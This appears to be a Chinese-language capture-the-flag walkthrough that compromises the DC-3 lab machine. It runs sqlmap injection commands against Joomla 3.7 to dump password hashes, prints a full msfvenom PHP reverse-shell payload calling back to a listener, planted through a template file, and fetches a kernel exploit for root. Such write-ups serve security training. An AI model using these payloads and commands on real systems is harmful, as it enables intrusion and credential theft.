1. 程式人生 > 實用技巧 >DC-3靶機滲透提權

DC-3靶機滲透提權

0x01 收集DC-3靶機的資訊

利用nmap工具掃描DC-3的資訊

利用msf工具掃描出對應的版本資訊

0x02 獲取網站管理員的使用者名稱和密碼

利用searchsploit查詢針Joomla 3.7 的漏洞

檢視對應的檔案中的攻擊方式說明

執行檔案中sqlmap語句進行爆庫

sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

成功獲取網站中的資料庫

嘗試獲取joomladb庫中的表

sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

在joomladb中一共有76個表,#__uses表中應該儲存了賬密欄位

嘗試獲取#__users表中的欄位

sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

獲取欄位名過程中發現不能直接從表中取出欄位,根據提示進行操作

成功獲取users表中的6個欄位

嘗試獲取欄位username和password的內容

sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'username,password' -dump -p list[fullordering]

成功獲取使用者名稱和密碼的hash

利用john工具對密碼進行爆破

利用niktod或joomscan對網站進行掃描,獲取網站目錄

訪問/administrator頁面,使用之前得到的使用者名稱和密碼進行登入


成功登入之後,點選檢視系統資訊,發現系統及其核心的版本


0x03 取得shell並提權

3.1 上傳檔案獲取反彈shell

點選Extensions — Templates — Beez3 Details and Files

通過 ip/templates/beez3/html 可以訪問該頁面中資料夾的內容

利用msfvenom生成反彈shell的PHP檔案

# 命令不支援補全,LHOST為開啟監聽主機的IP,LPORT為監聽埠
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.104 LPORT=7777 R
<?php /**/ error_reporting(0); $ip = '10.10.10.104'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

將生成的程式碼寫入網站html資料夾下的reshell.php檔案

通過瀏覽器可以訪問html這個目錄

(PS: 我是在不同時間段完成提權部分和之前的爆庫部分,所以IP改變了,不過不影響實驗)

先在msfconsole上開啟監聽,再訪問上傳的php檔案便可以成功連線

3.2 提權並檢視flag

根據之前獲取的系統和核心資訊查詢DC3的可利用漏洞,並將說明文件下載至當前目錄下

檢視具體用法以及效果演示

將壓縮包檔案下載到本地並解壓

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

如果用 wget命令從GitHub下載失敗時,可以往/etc/hosts檔案中新增以下內容

# Github Start
52.74.223.119 github.com
192.30.253.119 gist.github.com
54.169.195.147 api.github.com
185.199.111.153 assets-cdn.github.com
151.101.76.133 raw.githubusercontent.com

之前已經建立了連線,現在將exploit.tar上傳到伺服器的/tmp目錄下

進入目標系統的shell,利用python3調出互動式命令直譯器,並將上傳的壓縮包進行解壓

python3 -c 'import pty;pty.spawn("/bin/bash")'

將上傳的壓縮包進行解壓,並進入到解壓目錄

執行過程會出現編譯錯誤,忽略即可

成功取得root許可權,切換到至/root目錄下檢視flag

更改root密碼後,檢視登陸DC-3靶機後的介面